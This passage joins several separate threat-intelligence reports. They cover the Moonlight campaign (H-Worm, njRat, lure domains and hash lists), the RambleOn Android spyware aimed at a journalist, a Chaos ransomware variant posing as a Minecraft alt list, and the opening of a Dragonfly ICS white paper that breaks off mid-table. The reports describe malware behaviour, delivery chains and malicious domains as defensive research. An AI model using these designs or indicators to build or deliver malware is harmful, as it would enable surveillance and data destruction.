Egyptian Emirati.mp3.exe Moonlight typically makes good on the promised theme of the lures and presents the victim with a relevant “decoy document.” ## Impersonated News Organizations The attackers typically deploy malicious files via shortened URLs, presumably to look more innocuous. Many of the links and domains impersonate Middle Eastern media organizations such as Eln News and Wattan TV: - bit.do/www-elnnews-com - wattan.tep.su/deaf.rar - aman-news.com/arab/betrayal%20of%20Hamas.%20exe One domain impersonating the media, Alwatenvoice.com, also hosts “landing pages” to encourage victims to download the malware. One Facebook user has shared a number of posts from the malicious Alwatenvoice.com. The second post is of particular interest. The Facebook information box says the article is from All4Syria.info, a popular independent news outlet reporting on Syria, but in fact, it leads to Alwatenvoice.com. The user is then presented with a page that looks very much like the real All4Syria website. If a user clicks “play,” they are asked to download malware named ﺔﯾرﻮﺴﻟا ةرﺎﻋﺪﻟا تﺎﻜﺒﺷ.mp4.exe (“Syrian Prostitution Rings.mp4.exe”). The profile posting these malicious links has a very small number of public posts. The first post from 2015 shows the user setting their wallpaper to the logo of Fatah. There are two celebrations of Facebook friendship displayed publicly, one of whom can be identified from the name and Facebook profile information. Their details match that of a senior Fatah militant who Reuters reported was targeted for assassination during violent struggles between Hamas and Fatah in 2007. We would stress that even if the account is controlled by the attackers, it could be an account that they have compromised or impersonates an innocent and unconnected person. It is also possible that the account sharing the malicious links belongs to a user who is unknowingly spreading malicious content. ## H-Worm Moonlight typically delivers an obfuscated version of the widely available H-Worm, a malicious Visual Basic Script worm, as their first stage backdoor. Moonlight deploys an ever-changing range of deployment scripts to evade anti-virus software. Many of these use basic scripts within self-extracting RAR archives to install the malware. In these excerpts, we see the Moonlight make some strange choices in deploying their malware such as: - Opening a decoy document from the Windows System folder - Preventing users from deleting any files (including the installed malware) from the C:\temp\ folder There is a large amount of variation in the scripts used to install malware, and it’s likely that the large number of samples have been produced by hand, rather than a more productionized process of using build tools that is preferred by more sophisticated groups. ## njRat Records to URLs that users have submitted to VirusTotal record the attackers installing additional malware using the access they gained with the first stage H-Worm malware. Examples of this are recorded in URLs submitted to VirusTotal for the domain fun2.dynu.com: - 2016-05-24 C:/Users/Administrator/Desktop/service.exe - 2016-05-31 C:/Users/Administrator/Desktop/WindowsService1.exe - 2016-08-10 C:/users/administrator/desktop/k.exe - 2016-08-10 C:/users/administrator/desktop/service.exe As with earlier stages, the attackers employ a number of methods to deploy the well-known njRat which seems to vary from sample to sample. In one example, the malware stores a program within a base64 compressed blob. This is then loaded into memory and executed using EntryPoint.Invoke(). The 24 Kb of code this decodes to is another .NET application – njRat. Other droppers also decrypt the blob before it is executed. Both njRat and code obfuscators such as this are freely available, and there are a plethora of tutorials available online to help budding hackers use them with limited technical knowledge. ## A Significant Operation Moonlight’s command-and-control infrastructure is very simple. It consists of dynamic domains controlled via home internet connections in the West Bank of Palestine. We were surprised to identify a very large number of varied malware samples (over 200) attached to this simple infrastructure. ## Attacker Evolution The earliest attacks appear to be non-targeted, opportunistically inviting victims to click links on YouTube videos and social media posts typical of Middle-Eastern “hacktivists.” Later attacks appear to target particular groups or individuals. Moonlight’s usage of the Google URL shortening service allows us to roughly compare attacks over time. ## Who Are the Attackers? In general, the assigned IP-location of command and control servers is a poor indication of attacker locations. However, in this case, the provided locations of home networks in the Gaza Strip are likely to be accurate and fit with other details from the attacks. The attackers also demonstrate low operational security, particularly in their earlier attacks. Domain Whois records and social media posts provide strong ideas as to the identities of some of those involved. It would not be prudent to publish the identities of the possible attackers in a conflict zone. Perhaps a more interesting question is "What are the attackers’ aims?" Or if they are being directed, who is ultimately funding and tasking them? ## Countering Attacks Attacks such as these are often overlooked due to their low technical sophistication. But the stakes of these attacks are high, even if the attacker skill level is low. If the motivation behind these attacks is indeed political, the consequences could mean loss of life. Violence between rival political factions in Palestine has resulted in the deaths of hundreds of people. Individuals and organizations outside of the Middle East are unlikely to encounter the attacks by Moonlight. However, the tools and techniques deployed are typical of low-skilled but determined attackers within the Middle East and serve as an example of the kinds of attacks that often slip through. Moonlight’s strategy of obfuscating well-known malware appears to be fairly successful at evading host-based security mechanisms. The network communications of the well-known malware families such as H-Worm and njRat should still trigger existing network signature base detection tools. Vectra customers are protected through the following generic detections: - Suspicious HTTP – Provides generic detection of HTTP based malware such as H-Worm - External Remote Access – Provides generic detection of RATs such as njRat - Malware Update – Provides generic detection of secondary malware over HTTP(S) Security professionals can review the Appendix for a full listing of file-hashes and domains employed in these attacks. Vectra Threat Labs operates at the precise intersection of security research and data science. We take unexplained phenomena seen in customer networks and dig deeper to find the underlying reasons for the observed behavior. ## Appendix ### Domains Any traffic to the following domains on your network should be investigated. Please note that many of these domains have been sinkholed by Vectra. - alwatenvoice.com - elnnews-com.duckdns.org - fun1.dynu.com - fun2.dynu.com - fun3.dynu.com - fun4.dynu.com - fun5.dynu.com - h.safeteamdyndns.se - h0tmail.duckdns.org - hackteam1.spdns.de - hema200.publicvm.com - hema200.safeteamdyndns.se - hema2000.dynu.com - hp200.spdns.eu - hp500.linkpc.net - hp600.spdns.eu - moonlights.linkpc.net - new4.spdns.eu - opstin.spdns.eu - run500.linkpc.net - run900.linkpc.net - wattan24.duckdns.org - aman-news.com ### MD5 Hashes - ABD8F478FAF299F8684A517DCB1DF997 - 003F460F6EA6B446F31AA4DC57F3B027 - 568218BB07C021BBAB3B6D6560D7208C - AC19A1E5D604D82EF81E35756F3A10D1 - 0392F8BE82A297242BAAD10A9A2912EB - 573138482B185F493B49D3966650CDAD - AC3918287452FEBD3855FF4BC3D82A07 - 04A4CC757B4D283FF8DE246C19E8D230 - 5947BBAD60D4D00EF545E2FB3B1FD03E - AC89E42EE593CEA80030820618F2BCF6 - 04B2D3F38055B2B821B30E82C44D6040 - 59E18D4ED3C97279DB16984C07213EB1 - ACAB47BB5E8ED34056905FF63353CABC - 0512F533BF2E8E5EC9637B804C101C2B - 5BF5BE6B45292FBA0C0EDC415F248922 - ACCF82FC29467C08CE087072FEA3D14A - 05618077C03B80ACE066B9851966FBB1 - 5CC9964DD41BE3D9DACBD0425EC032A9 - ACD58BB34BB275DE1570917624ADE609 - 0606FEE55F39784E9889C1AAA0F27882 - 5CFD542A561F1EE679FCD6AA81991F3A - AE238D1E52CD4A9DECFE769FE5844747 - 064F0A5FCC869F6EB77405D3FE98AF87 - 5E59ACF240E2881B1C1E2F5586C9CA6F - AE9E9E3C73483E8B6C6E58E5629DC4D0 - 07EB24224A722EA9D8A3DC610B834D7A - 5F0437C7DC45D4C10A045954DB77DD31 - B053BBB499D68CCE1782B33FDE7B43FF - 0975222DE39433A25E672595B1960CDB - 61381610E76266423ACE96670DE45DC0 - B0B9332082E98D51CB7265A45A945A22 - 0A38DDCC3431BAE448E38C99562162EF - 6212E9A07225D6B71769D2BBBC20CD04 - B184FA51604D7EAA5A45350D1E08E5B7 - 0A49531FC0C00E991E51F34398F3AB88 - 6218A61D18F5A74F82ABC31A5F073C4B - B3FB8253595FED348464B5C9A01AD4AD - 0ABBD2765B563F2B8748485FA84DA070 - 62C0B9EA3638BEF977A7D33970E52E38 - B532676D6A5A6684B62A078BFBCBBD0B - 0AED206FC534C310724E122BF6BCDF7F - 63D933310CFB26EC9913A26BEF230A99 - B77A14A594A59C3B86EDD940FB35AB5E - 0B2023BC4ADFBB8157DA9147B9FAFACB - 64ACAFF36681B16C5717741E17DCB329 - B82DE5F1C26143083D988B06F6C927C3 - 0B40D67579AF550C0A3AEE359C2C71BA - 64AF25B42E21F01A213C32CC66CFD749 - B841E134EC7FE48095754742C8A2B8D7 - 0BD3B5C667878830DA088527D1B753EC - 655F56F880655198962CA8DD746431E8 - B929FC62DB2B3C8CC6A03063767BE125 - 0C15603B17FA333189AB5ED06E0993F7 - 696232159428BCB2BDA5AC2C755E8FED - BB15E754AE3B85A12447B448F6F7E43E - 0CA048153AC96E5C41243B364092AF07 - 69A042C9ED90A30444606407F77E199F - BBF576CF704B71C739E8777EB6C9FF82 - 0D67422BA42D4A548E807B0298E372C7 - 6C4B69C19F2C3AC23AC392B8631E31BB - BD2234DAE56580AAA7F880A7DB0F397D - 0E9B363DE7DD2B10AFD5D1947FA0E006 - 6C4D355411B8D7DA56A2C7C14693A3AE - BE23B3AFD1FD32C900F012CB2A8BA755 - 0F83377C44ADBA238FD0F0EB241981A6 - 6D418227FEB7A60727326583B52187E6 - C28376FC9EE627B51E3F52503397E2DC - 114B805F977E17558DD89E8029E29DF0 - 6E2E488CDDF1D15D0411F3838ED04683 - C291CFAC28F323F9808D633A8558A35A - 118A606FB131C082B55A5625661B666A - 6EE7264D4A974D0FFFED7F39652D1DAD - C64052167D6A183A3ECC259EE0F3A0C6 - 129F4B0A1F209784BF7071C14119BF9F - 71B00CBD186B1C168FD207B8F43FC8E0 - C8D912CF5BF526E551972EBB5454DD3F - 1325AB5DCA14B58A8A7B9A8F5A1EE4DC - 72076B1B2D9CB0507E5C94C2B422CCE7 - C92E26AC3145718E531330B87772D216 - 13AF6A3C3A3908FD4E606A1F19B05714 - 72BEA803A834F7736679781A1D729B1F - CB539DFAEECC4BAF875A1E431701FF9D - 148A3E3CC76CF6753B15070FE3514DAE - 7681AE3933F3E13EB8E2A9BE281A5763 - CC9FAEC3F39EDAF7A59E9D9A7577451C - 14C1E03DE25811C3D6D467837A16BB29 - 76A68FE73FFF571F257A1B0F100ACA1D - CCFA1B31C47C9F124FEFE206301B3A5F - 15F7682A178F789EDB40CEAABA9E5103 - 77D02BE92D052F35604CAA9885DD9A77 - CD10D61A0D2D43A6AB16A9F50B1AD894 - 1673583BC5B7A485119D4A1342D6ADA8 - 7840F2473B3A0E0960A1925F3CD0C3B1 - CF51142459F7B40E751E91179C001299 - 17D70C318C6D16EA599E39550C44FA7F - 7A4588DC14AE38505662B75DA93CA8A7 - CFE26B57E168B6C6A18C668E36A3E939 - 1856F46DA93C3B152C358E0F6DB53402 - 7AEFB825277764CD9F31BC1F2370D18D - D179427D46D38D78A7A60512A4595496 - 1966F3B1D4ADEC25AB866C4E061A1E50 - 7C14974DD39B071558C619D16C4216DB - D24B6317064DA37D31CE4459AC7F4B69 - 1C4AB6CF907175D114C48C30A38BF379 - 7D1F1FED52745D36D737EFA7D43F4B95 - D297E0DB6D63A952B08B6F0E3FE101E7 - 1D693473FF431C7CEA3E7AB0130EAA3D - 7D27548E3F56FA532C571FB409ECD7B6 - D3C8ECF591381B31D3AA796471B5B0F1 - 1F644DE33D57C12A393B12F92A7C44C5 - 7DD199B0C678EF409A7DC461DE850849 - D5DFF6DB76B75D346D3B33BBA5B7CBFA - 215556AF1A5FEF7E08A6124D94487D2F - 7ED4897B11798F4639C73D57F901A661 - D5EEE8DC2507D46E1DC11F7B7441F506 - 21CE82DB335964B8624F8EB0668B539F - 833B3AF9BD8FFD0390BCA1D43EE78CC3 - D817FD5A442C7668607AE895D4298040 - 22CC7CE1E17852B6D09D5641B6ABCA0D - 83AD97BF1D5A9044AAFBA6AAC4B7387E - D9EACFF28841C51ACE9712AF78BCBDD0 - 24D2CE38D2886A00E678E8C23AD8D1CA - 841C3AFAA8CAF0AC33BF783D5FEAEADB - DD2D6B625E7ADD1528311A0CF5FD5EAE - 276E54A5E32BEF12367C5B31BF9C179E - 8492C3111C7C0998F0DC1B63967E5C65 - DDD73E73BE2CC934D5721D4FC62CD98C - 27A1891DB06D316B43A48DDEFEBF73BF - 853A53CF799E2E3E1FC244A0751A4E96 - DDEEE52C00A95167353215D14B3AAA68 - 2851685F217EB1CE573FC2BAE7918801 - 8799B3D6B2CE50D4DD5F5114635A4B96 - DE2E753D12CE07F7B3F97C498D3477F8 - 28FBFD2AD1B500B62377DDE5795CDF85 - 87E5555CFF74D41551D6D29B9C01C0CB - DF38B1562E4F0B735B3E10BAE78DF2A9 - 2930596D4E1328B79C349455E71EE1B0 - 8943A561F0839D43B8BD476357992540 - E1B56D70FA5397509F901ED72724A5E9 - 29771C26BFDD125E7427CD57A98730FF - 897061CD7F0BBAE1B024ED9C1C1998A1 - E3E2CD771C8183464737233D17CD6A09 - 2993B77D82622D665F9B2F06C89741BE - 8A2E5662ED22D0D555E6B90FE5E1C902 - E42CD849370F2BE67F40B97B5D741B37 - 2A0F5D8C5BC021A1CEFED7442B02DF52 - 8AD4C22449B98339548D38BF87BF50AA - E613FBAAF0E64B1CA740F9859D5CAF0B - 2AB91CEDD813E306248E545075C60866 - 8BE6FBAD0618D6A398966AF3D20F5418 - E61732ADD06F5EB98FE6AD42CE9682F6 - 2C8C94E85EF8C757586590E8D1ABDC6C - 8F8E5A9553A27A9341ED6022028B231D - E8909F06EF95B222121B72E12DB2111D - 2CBD8E0EB9DF67E7D304F28803D4529E - 8FDD4BA7920B3D6AB2F0106FDF4ED702 - E8C4A336C901A8799525EA30486838B3 - 2DC30F736F1A485DBBEED63EC9259726 - 8FF5EF99FAF5E17B7D5B46585BAC7B43 - EA788C263E04B93D36E0D82BB7D1BC05 - 2E49F5BD50A4E82DB05B4E42F18536F3 - 90C49D0CEF0DFCFF3C09723A9918688D - EB7B7C974A66E7F9A0EAD3113F949EC8 - 2F352CD6486C518DDC61B7EBBEAB5F01 - 927DBA3C9B98FD749017E3DEE270136B - ECB97F19AB0568CD0536567A7DEF44FF - 348D6C08F155F0781574C34E573B6F1F - 940A1B2C537FA2F764283795E9B665BA - EF53161673CA4CAA7E9C4B33A0D02A90 - 36E3307F26E5B8BDBA30D7EA7CA62CD8 - 968EF6CB0DFB082DF7A68C3B8869C57B - EFCA552B3CA4B8FF8686FD313FF2D48E - 37CB0DF3AF8D3CA2086EEDAF3479D21C - 974037C602A559C471BBDA3D07F50650 - EFE54DF820FA8434CF14A5A8F55F52B7 - 39581B22FB078851D6DAA492C4F5BE97 - 97AA47094205DF17C15ED216227C4DA8 - F007B759A30EDF46FD921E2D87A39D5D - 3CE01AD1B116943F5FB1B2925C5DCAF1 - 99215ADB3D924F52D69BEAB6981791EB - F17CD2526A0E46D806863E1320A2CF5B - 3D2E266B9FDAD45AEF7D83164BEB7A37 - 992D434A726B9C50851B809FB95C169B - F33B62D496F58E752BB190296781CFF9 - 3EAA4C1C6716133612CBA0EA4A6905B5 - 9A9D01BCB93EF99E1B8EBF727D72E91F - F48AAB23D1DEF618449D705146153966 - 40E9ED913857D5196368A64D9972FCB8 - 9EF41A195932EDE4E9E6800E7D272A2E - F59453D2FF8F29617DB23201C568017C - 4484EB027D30C4705717CDE931245827 - A12EB4CD0CAD629FCE59AE5120B82133 - F7CF132313438115B0BBED035078FB1C - 476764A1E6E121CF59C7F101F0E14968 - A1E60D076CC9488EB7D86BD70FF70154 - F8AD6A207BEE8C042220CC52AF2DAC29 - 4791667A4935718C4A55FA23EB18A520 - A2E82ED55692BF64B819117C48F13F62 - F8FF494B1C0403C3C99C6D67BEF7069A - 48A8E95E79787EB27465AAD52855788A - A3296E4D931583415C2B1B7A68C96508 - F93A95668040E143F19F94210CA18D88 - 4C325C62D2CD9A69AA2CCF920A61B4C1 - A3DFD16AC5E2E0343E61E19C13FCFF2B - FA428FEF017B496DCAE6428889114FCC - 4E3925ABF0CB66CE4476DFFC41131396 - A62DE1A146EEC778344600F8EEE86DA9 - FA8C119B3F0B1F9C2AA9F5D8908C9536 - 4EB6B5F6E3CB72869F29D567AC888C05 - A7BF176D5BD80C2AD3815EC41E9BA6E6 - FBB0BA6E2E570CA1B4F495F3040B6F6D - 50B1E6E24A1DB4D68A2D51BD7115BAA3 - A7F58A9D83CA22846282994A0393FB82 - FE71389ACD3EE1B42A0895668C73DC21 - 517822AF63D640DFE8C6590B36AD8F80 - A803F9914141F2CA72EB0C2162E2BA36 - FE742125449AFABB37B21844171FBC99 - 51817D6FA9F1BA398176ABE63230568A - A866F515362066AEA4BBEF0B6C1BDB13 - FF295CF738DE580E2EE41D0100C848AE - 53BADCB66F848805E781716F95CF10AB - AA45A3DFD4E7329DF37D8C74F0DA01B4 - FFE598B9C3DE334571881035D478ABE4 **Topics:** Targeted Attacks, Malware Attacks, Cyber Security, Threat Labs
# Cyber Threat Report: RambleOn Android Malware **Author:** Ovi Liber, Threat Researcher @ Interlab **Publishing Date:** 2022/12/30 ## Executive Summary A journalist in South Korea recently received a malicious APK file suggested to be installed on their phone by an anonymous tipper. Analysis by Interlab’s Threat Researcher Ovi Liber revealed that the APK file, named RambleOn, contains critically malicious functionalities, including the ability to read and leak the target’s contact list, SMS, voice call content, location, and more from the time of compromise. The malicious APK has unique characteristics: 1) it uses infrastructure from pCloud and Yandex, and 2) it utilizes Firebase Cloud Messaging (FCM) for command and control (C&C) communication. ## Introduction Freedom of media and journalism is essential for democratic, free, and participative societies. However, as cyber threats with political motivations targeting journalists grow, the importance of digital safety for journalists is ever more imminent. On December 7th, a journalist received a message over WeChat asking to discuss a sensitive topic privately. The sender suggested using a secure application called “Fizzle messenger” and proceeded to send a copy of the APK to lure the journalist into installing it. The application “Fizzle messenger” acts as the first stage of the malware, performing various checks on the Android device to serve a payload. This payload exfiltrates sensitive data to cloud storage and downloads a secondary payload, which further exfiltrates data and registers services for continual exfiltration via Google’s Firebase Cloud Messaging. This threat report contains a breakdown of the functionality of this malware, with sample hashes shared at the end. ## RambleOn Flow Summary The malware has multiple stages and continually exfiltrates data from the Android device. Below are the steps describing how the malware executes and compromises its victims: 1. Adversary lures the victim into installing the malicious application (Fizzle). 2. Fizzle downloads a payload, a .Dex file, from either pCloud or Yandex cloud storage endpoints. 3. Fizzle dynamically loads the .Dex file and calls a method that exfiltrates data to either pCloud or Yandex. 4. The secondary payload registers the device with Google’s Firebase Cloud Messaging for C&C mechanisms. 5. The secondary payload starts multiple services that exfiltrate data to the cloud storage endpoints. 6. C2 commands using Firebase Cloud Messaging (FCM) initiate services in the second payload, which dynamically load classes contained in the first payload to perform C2 methods and exfiltrate data back to the cloud storage. ## Stage 1: The Loader The victim received a direct message over WeChat discussing potential sensitive information. The sender suggested using “Fizzle” and sent the file “1_Fizzle.apk” for installation. At the time of writing, the application was only flagged as malicious by one vendor for a PUA signature. The application functions as a messaging app, prompting the user to create an account linked from another device. Upon inspection, it has many permissions in its manifest that could be deemed necessary for its functionality, leading users to believe it is legitimate. When the application runs, it spawns as “ch.seme.” During analysis, a file containing payload delivery functionality was identified. The malicious app uses “DexClassLoader” to dynamically load a Dex file from a cloud storage endpoint and execute it. The “LogUService” class contains methods to download the first payload from pCloud or Yandex via OAuth API calls using hard-coded access tokens. ## Stage 2: The First Payload – Com.Personal.Info.Plugin (Plugin4.0.dex) When the “LogUService” is launched, the Dex file is downloaded to the directory “/data/user/0/ch.seme/files/.temp/.” The first payload’s primary functionality is categorized in the following table: | Method | Functionality | |-----------------------|-------------------------------------------------------------------------------| | aesEncrypt(), | File encryption/decryption with AES | | aesDecrypt() | | | appendCL() | Append the call log | | appendLog() | Write over a specific logfile | | AR(), ARStop() | Record audio start and stop | | copyFile() | Copy any file and send back to C2 | | createFolder() | Create a new folder | | downloadFile() | Download file from cloud storage endpoint | | encryptText() | Encrypt text with RSA key | | fetchContacts() | Get all contacts and their details | | getAddressNumber() | Get address from MMS | | getCurrentIP() | Get IP address and location | | getLocation() | Get latitude & longitude | | getPhoneInfo() | Get device information | | getPublicKey() | Get public key from device, decrypt using AES keys | | getRealTimeInfo() | Get device information such as time, network info, battery power, etc. | | rec() | Initialize recording of the device | | sendToServer() | Send files back to C2 | | sms(), send(), | Send, intercept, and append SMS & MMS | | storage() | Access SD and external data files | | updateCmd() | Initiate CMD | | updateState() | Update device information back to C2 | | uploadFile() | Upload file to cloud storage endpoint | | uploadFile_SAF_P() | Upload a file to external cache directory | The primary function of the payload is to provide functions to be called by the C2 and for the initial loader to call “LogState.” When “LogState” is called, it runs a method named “UpdateCmd()” to download the second payload. ## Stage 3: The Second Payload & C2 Client – com.data.WeCoin The initial loader calls “LogState” within the first payload Dex file. This method calls “updateState,” which then calls “UpdateCmd()” to pull a second payload down to the device using access tokens. This second payload, an APK named “com.data.WeCoin,” provides C2 functionality to interact with the first payload Dex file. Upon creation and running of the “com.data.WeCoin” application, it assigns a Firebase Cloud Messaging (FCM) device token and sends it back to the operator, allowing the use of FCM for command and control. The class “MyFirebaseMessagingService” facilitates the operator to send commands back to the device and initiate functions within the second stage payload. The payload registers many services that perform DexClassLoading operations to the secondary payload stored on the device. These services can be run continuously via the C2. ## Attribution Over the last year, Interlab has worked with human rights activists and journalists to document and index digital threats. We use the Diamond model to facilitate correlations for attribution, indexing elements of an attack based on four categories: adversary attributes, infrastructure, victimology, and capabilities. During our analysis of RambleOn, we found very few data points supporting clear attribution. However, several aspects can enrich future attribution: 1. **Victimology:** The victimology fits closely with the modus operandi of groups such as APT 37 & Kimsuky. 2. **Infrastructure:** The use of pCloud and Yandex for payload delivery and C&C has been consistently utilized by APT 37. 3. **Capabilities:** The use of Google’s Firebase Cloud Messaging (FCM) has been seen in Android malware campaigns attributed to Kimsuky. These points allow for a pragmatic approach to potential attribution by other researchers. ## IOC Index To support research across the digital rights and information security industry, we have made the samples available publicly on VirusTotal and Malshare. | File Description | Sha256 | |---------------------------------------|-------------------------------------------------------------------------| | Stage 1: Fizzle App | 97d8aed87ec78d975aaff4a63415badf95635616686a7ad4a3257e02b6ca2400 | | Stage 2: Dex payload | 0dadf1240fd097d15dee890d448cfab02d3ef8698bdc44e18f1b5495e500655f | | Stage 3: com.data.WeCoin | 751e67116e71b0a04bce6cabfa748fc105238ed1dd5b7d72f6d3f6301bbcad17 | Interlab is a non-profit organization based in Seoul with a mission to create a resilient digital safety net for citizens, providing free digital security consultations, training, incident response support, and research on cyber threats toward civic society. For inquiries regarding this report, please contact us at [email protected].
# Chaos Ransomware Variant in Fake Minecraft Alt List ## Brings Destruction to Japanese Gamers **Affected Platforms:** Windows **Impacted Parties:** Japanese Minecraft Gamers **Impact:** Potential loss of files and money due to file encryption and destruction and paying ransom **Severity Level:** Medium Minecraft is one of the most popular digital games in the world. It was originally released in May 2009 by Swedish game developer Mojang Studios, which was acquired by Microsoft in 2014 for US $2.5 billion. Initially released for Windows, Mac, and Linux, the game is now available on 22 platforms including video game consoles and mobile devices, including Android and iOS. As its gaming population has steadily grown, reaching more than 140 million monthly active players in August 2021, Minecraft has never been more popular 12 years after its initial release. Evidently, cybercriminals cannot pass up the opportunity to target such a large user base. FortiGuard Labs recently discovered a variant of the Chaos ransomware that appears to target Minecraft gamers in Japan. This variant not only encrypts certain files but also destroys others, rendering them unrecoverable. If gamers fall prey to the attack, choosing to pay the ransom may still lead to a loss of data. In this report, we will take a look at how this new ransomware variant works. ## Ransomware Lure Being Posted to Japanese Minecraft Forums Gamers create “alt” (alternative) accounts within Minecraft for various purposes (both good and bad): they allow them to antagonize/troll other players without having their main account banned, they provide cover for an alternative in-game identity/personality, and they help avoid getting their main account banned for using cheats (gaining an unfair advantage over other gamers), etc. FortiGuard Labs has discovered a variant of Chaos ransomware being hidden in a file pretending to contain a list of “Minecraft Alt” accounts that leads us to believe that the effort is to target Minecraft gamers in Japan. Even though they are often publicly available through Minecraft online forums, Alt Lists contain stolen accounts that gamers can use to do the things listed above. That’s what the threat actors behind this ransomware attack are using to lure victims to download and open the file. In this case, the file is an executable, but it uses a text icon to fool potential victims into thinking it is a text file full of compromised usernames and passwords for Minecraft. While we don’t know how this specific fake list is being distributed, it’s a safe guess that the file is being advertised on Minecraft forums for Japanese gamers. ## How the Executable Works Once the executable file is opened, the malware searches for files smaller than 2,117,152 bytes on the compromised machine and encrypts them. It then appends those files with four random characters chosen from “abcdefghijklmnopqrstuvwxyz1234567890” as a file extension. But files larger than 2,117,152 bytes with specified file extensions are filled with random bytes so the victim will not be able to get those files back even if the ransom is paid. Having this destructive element changes this attack from a typical ransomware attack and is a very troubling component. It is not known why the malware authors have chosen these file size values or why they choose to encrypt some and destroy others. But it is interesting to note that the Chaos malware was originally classified as wiper malware with the ransomware component added later. Once the attack takes place, a dropped ReadMe.txt file asks the victim to pay a ransom in either bitcoin or pre-paid cards. The requested amount to decrypt the files is equal to 2,000 yen (approx. US $17), which is dirt cheap compared to the amounts other ransomware attacks typically demand. The ransom note does not specify which type of pre-paid card the attacker wants. All kinds of pre-paid cards (online shopping, gaming, music, mobile phone charge, and online streaming services) are available in convenience stores. Japan has more than 50,000 convenience store locations selling pre-paid cards, and most are open 24/7. The ransom note also states that the attacker is available only on Saturdays and apologizes for any inconvenience caused. The malware does not include code to identify the language setting of the compromised machine, and the ransom note is available in Japanese only. This, combined with the formal language of the ransom note, indicates this Chaos ransomware variant specifically targets Japanese Windows users. The ransomware also deletes shadow copies from the compromised machine, which prevents the victim from being able to recover any files that had been encrypted, making it doubly destructive. FortiGuard Labs previously released a blog about shadow copy deletion carried out by ransomware. Luckily, this Chaos ransomware variant does not have any code to steal data from the compromised machine. The malware also changes the desktop wallpaper, perhaps to add more pressure to the victim to pay the ransom. ## Conclusion - Chaos Ransomware Variant There is nothing fancy about this Chaos ransomware variant nor its infection vector. However, despite its cheap ransom demand, its ability to destroy data and render it unrecoverable makes it more than a mere prank to annoy Japanese Minecraft gamers. Ransomware is still ransomware, and in this case, the victim may not be able to get their original files back, with or without making a ransom payment. The best advice is for players to stay off suspicious gaming cheat sites and simply enjoy the game the way it was meant to be played. ## Fortinet Protections FortiGuard Labs has AV coverage in place for all of the malicious file samples in the report as: MSIL/Filecoder.AGP!tr.ransom. Due to the ease of disruption, damage to daily operations, potential impact to the reputation of an organization, and the unwanted destruction or release of personally identifiable information (PII), etc., it is important to keep all AV and IPS signatures up to date. ## IOCs **SHA2:** 1a00c3f9173ee4c6f944e2dcebe44ca71f06455951728af06eba0f945e084907 aacce549a756cd942ee79f57625d0902ce79315f4e4bfb1381afa208599d7be5
# White Paper: Defending Against the Dragonfly Cyber Security Attacks **Joel T. Langill** ICS Cyber Security Expert RedHatCyber.com Written for Belden Version 3.0 December 10, 2014 ## Introduction The age of malware specifically targeting industrial control systems (ICS) began in 2010 when Stuxnet was shown to be disrupting operations at an Iranian nuclear facility. It then took four years before another sophisticated attack, known as Dragonfly, was discovered executing cyber espionage against ICS components. This white paper analyzes the Dragonfly cyber campaign, looking at its targets, methods of attack, impact, and what it means for defending operations from similar attacks in the future. The Dragonfly campaign dates back to late 2010 or early 2011. However, industry was only made aware of it when the Finnish security firm F-Secure posted a blog in June 2014 describing how the malware was used to search for industrial control devices. Symantec then published a detailed technical report, which was quickly picked up by the media. These reports claimed that the attack targeted energy companies with the potential for sabotage. The significance of these findings was not the targets (most critical infrastructure providers face cyber threats regularly), but that the Dragonfly malware contained payloads designed to target specific ICS components. Given the importance of that finding, Belden commissioned Joel Langill of RedHat Cyber, a leading independent ICS security expert, to research Dragonfly in depth with the goal of providing the best possible advice to its customers for defending against advanced malware threats. Mr. Langill’s research included looking at how Belden’s products can contribute to Defense in Depth cyber security protection. The research was conducted by executing the malicious code on systems that reflect real-world ICS configurations, rather than reverse engineering the malware as was previously done. This allowed Mr. Langill to provide a perspective on Dragonfly and its impact on industrial systems that is particularly useful to manufacturing companies. ## Executive Summary This paper is designed to help the owners and operators of manufacturing companies better understand the nature of advanced cyber security threats against ICS and SCADA systems. The report is divided into four parts, each providing evidence regarding the nature, intended victims, and consequences of the campaign. It closes by investigating the effectiveness of cyber defenses commonly used by companies and proposing realistic solutions to protect against this new form of sophisticated attack on industry. ### Part A – Identifying the Targets Part A provides evidence that Dragonfly’s target was most likely the pharmaceutical industry, rather than the energy industry. This represents the first time that a sophisticated attack vector has gone after the discrete manufacturing sector. The key evidence for this conclusion was the ingenious route the attackers used to breach industrial systems. Rather than a traditional direct attack against a target’s systems, they infected the legitimate software of three ICS suppliers that offer products and services most commonly used by the pharmaceutical industry. Dragonfly was also remarkable because of the multitude of methods and pathways it took to get to the control system. These are described in Part B – Analyzing the Malware. Mr. Langill coined the apt term “Offense in Depth” to describe the diversified arsenal of attack vectors it employed. Part C – Assessing the Consequences looks at the lessons to be learned from this malware campaign for any security risk assessment. For example, Dragonfly focused on Windows XP-based computers, which are widely used by industry, difficult to migrate away from, and now impossible to patch. While Dragonfly’s creators appear to have intended this attack for intellectual property theft, it is clear that the malware’s design makes it potentially far more dangerous to live process control operations. ### Suitable for People in these Roles: - Executives - Controls Engineers - Electrical Engineers - Network Engineers - IT Professionals - Security Professionals ## About Joel Langill and RedHat Cyber Joel Langill is an independent security researcher, consultant, creator of the website SCADAhacker.com, and founder of RedHat Cyber. He approaches cyber security in a fashion similar to industrial functional safety, and his services help companies improve the security and reliability of their automation and SCADA systems. Clients include end users, owner/operators, engineering contractors, system integrators, distributors, security partners, and control system vendors around the globe. ## Part B – Analyzing the Malware ### Attack Vectors The Dragonfly campaign consisted of a diversified arsenal of attack vectors that compromised their targets through the deployment of multiple Trojan malicious programs. All of them had the ability to coordinate the deployment of a consistent set of downloaded payloads via a managed command-and-control (C2) infrastructure. The C2 infrastructure allowed Dragonfly to enhance and expand its payloads throughout the life of the campaign. This tactic provided a form of Offense in Depth, allowing Dragonfly the opportunity to infect its targets at various levels of the organization. ### Spear Phishing Attacks As reported by Symantec, the Dragonfly campaign started with a series of email spear phishing attempts that occurred between February 11 and June 19, 2013. This first phase utilized a malicious Adobe XML Data Package (XDP) file that was sent to 37 selected executives and senior employees in seven targeted companies. The subject lines were administrative in nature, including “The account” and “Settlement of delivery problem.” The XDP file used by Dragonfly took advantage of the PDF/SWF exploit (CVE-2011-0611) that allowed the Havex portable executable dynamic link library (PE-DLL) to be decrypted, installed, and executed. The data analyzed by Kaspersky states that the XDP dropped version 038 of the Havex DLL. ### Trojanized Software Content This portion of the paper provides a detailed analysis of four of the five malware samples obtained from the three ICS-related websites that were compromised. It is important to remember that the results discussed here are from specific malware samples that contain only a small number of the total variants used in the overall Dragonfly campaign. | Company Name | Product Name | Trojanized Software | Malicious Content | |--------------------|----------------------|-----------------------------------------|---------------------------------------| | eWON | 